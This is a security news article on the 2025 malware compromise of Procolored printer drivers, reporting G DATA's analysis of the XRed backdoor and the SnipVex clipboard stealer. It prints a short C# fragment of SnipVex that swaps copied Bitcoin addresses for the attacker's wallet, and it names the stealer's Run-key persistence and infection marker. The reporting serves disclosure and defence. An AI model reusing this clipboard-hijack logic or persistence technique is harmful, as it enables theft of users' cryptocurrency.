Six-Month Malware Exposure: Procolored Printer Drivers Compromised with XRed and SnipVex Threats
A critical software supply chain failure has emerged at Procolored, a manufacturer of high-end UV printers, whose driver packages were unknowingly laced with malware for over half a year—ending only in May 2025.
The breach came to public attention thanks to independent creator Cameron Coward (Serial Hobbyism on YouTube), who discovered the threat while reviewing a $6,000 printer. His antivirus flagged the bundled USB files—not as harmless anomalies, but as hosts of two verified malware strains.
What was initially dismissed as likely antivirus false positives turned out to be a potent mix of cyberthreats: a backdoor trojan (Win32.Backdoor.XRedRAT.A) and a crypto-stealer (MSIL.Trojan-Stealer.CoinStealer.H, dubbed SnipVex). These were embedded in drivers distributed through Procolored’s own website, which linked to externally hosted files on Mega.nz.
The tainted software impacted six specific models: F8, F13, F13 Pro, V6, V11 Pro, and VF13 Pro, with 39 infected files across the packages—20 of which bore distinct cryptographic hashes.
Cybersecurity firm G DATA confirmed the presence of the XRed backdoor, a malware strain last analyzed in early 2024. Although its command-and-control (C2) infrastructure had been defunct for months, the backdoor retained hardcoded URLs from its earlier campaigns—highlighting how outdated but dangerous malware can re-emerge via neglected security in the software supply chain.
More troubling was SnipVex’s continuing threat. Unlike the inert XRed component, SnipVex remained fully operational and capable of silently hijacking cryptocurrency transactions. Blockchain traces suggest attackers siphoned off roughly 9.3 BTC, or about $100,000, during the period of exposure.
How SnipVex Worked
SnipVex infected systems using a classic yet effective tactic: prepending infection, where malicious code is attached at the beginning of executable files, allowing it to activate first. This method helped it evade basic detection and ensured persistence across multiple installations.
The full scope of damage—especially in corporate or production environments relying on Procolored’s devices—is still being assessed, but the incident highlights ongoing vulnerabilities in hardware-linked software distribution, and the real-world consequences of unverified third-party hosting platforms.
SnipVex’s Minimalist Design Packs a Punch
According to threat intelligence from G DATA, the malicious core of SnipVex consists of just eight lines of code—a surprisingly lean payload for a virus that’s proven so effective.
When security analysts examined a sample named PrintExp.exe (SHA256: 531d08606455898408672d88513b8a1ac284fdf1fe011019770801b7b46d5434), they discovered the malware had one job: silently insert itself ahead of legitimate Windows executables, turning trusted files into silent weapons.
What makes SnipVex particularly clever is its self-check mechanism. Before corrupting a file, it scans the last three bytes for a specific signature—0x0A 0x0B 0x0C. If present, this sequence signals that the file is already infected, effectively preventing redundant or destructive reinfection.
This infection method—prepending clean-looking executables with its own minimal logic—allowed SnipVex to remain stealthy, efficient, and harder to trace in environments where AV heuristics typically scan the middle or end of files for anomalies.
While many modern malware strains bloat themselves with features, SnipVex shows that efficiency, not complexity, is often the real weapon.
How SnipVex Stuck Around Without Being Noticed
G DATA’s reverse engineering of the SnipVex malware revealed a sharp, calculated infection strategy designed for stealth and persistence. Rather than blindly infecting every file in its path, SnipVex took a more refined approach.
It deliberately avoided tampering with executables stored in temporary or application data folders (%TEMP%, %APPDATA%), and skipped over any files prefixed with a period—likely to steer clear of system-critical or hidden configurations that might trigger detection or system instability.
One of its most malicious features was clipboard hijacking, aimed squarely at cryptocurrency theft. The code was compact, but its intent was razor clear:
C#
// If clipboard text matches a Bitcoin address, replace it with attacker’s address
if (Regex.IsMatch(clipboardText, “[13][a-km-zA-HJ-NP-Z1-9]{25,34}”))
{
Clipboard.SetText(“1BQZKqdp2CV3QV5nUEsqSg1ygegLmqRygj”);
}
This snippet scanned copied text for Bitcoin wallet patterns and silently swapped them with the attacker’s own address—redirecting funds without a trace unless the user double-checked before sending.
SnipVex didn’t just sit still. It actively scanned all available drives for executable files (.exe), spreading its infection across systems and devices as new files were added—ensuring a wider attack surface over time.
Persistence was achieved by planting registry keys under:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ScdBcdHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ClpBtcn
These entries guaranteed the malware would relaunch on every reboot, keeping it alive through shutdowns and restarts.
In response, Procolored has pulled the compromised drivers from circulation and issued cleanup instructions for users. The company also stated it is revising its software distribution policies to prevent future breaches in its update pipeline.
